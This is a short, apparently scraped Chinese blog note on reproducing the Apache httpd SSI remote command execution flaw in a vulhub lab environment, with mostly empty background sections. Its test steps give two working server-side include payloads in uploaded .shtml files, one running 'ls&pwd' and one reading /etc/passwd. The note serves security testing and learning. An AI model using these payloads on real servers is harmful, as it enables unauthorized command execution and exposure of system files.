JZTXT
  • 首页
  • Ai
  • Java
  • Python
  • Android
  • Mysql
  • JavaScript
  • Html
  • CSS

apache ssi-rce

发布时间 2023-07-30 07:10:52作者: 挖洞404

(191条消息) vulhub-httpd-ssi-rce_vulfocus/httpd-ssi_浅陌.的博客-CSDN博客

1、介绍

名称:apache ssi-rce漏洞

编号:

原理:

应用:apache

版本:

2、测试

2.1 靶场搭建

2.2 测试过程

(1)上传shell.shtml

<!--#exec cmd="ls&pwd"-->

(2)上传新的shl.shtml,出现密码说明远程代码执行成功

<!--#exec cmd="cat /etc/passwd"-->

    本栏目推荐文章
  • OFBiz RCE漏洞复现(CVE-2023-51467)
  • web项目启动时dubbo报错: No provider available for the service com.davidhu.shopguide.api.service.UserEventService from the url zookeeper ://localhost:2181/org.apache.du
  • 如何判断一个网站是用的Nginx,还是Apache
  • 大数据 - 安装部署 Apache开源大数据集群
  • apache2服务器数据爬取
  • 装载数据时报错:Failed to execute spark task, with exception 'org.apache.hadoop.hive.ql.metadata.HiveException(Failed to create spark client.)'
  • ActiveMQ RCE CVE-2023-46604分析
  • mybatis解决nested exception is org.apache.ibatis.type.TypeException: Could not set parameters for mapping:
  • Apache ActiveMQ 远程代码执行漏洞分析
  • Apache一键源码编译安装脚本(CentOS7、8)
版权声明:本网站为非赢利性站点,本网站所有内容均来源于互联网相关站点自动搜索采集信息,相关链接已经注明来源。
联系我们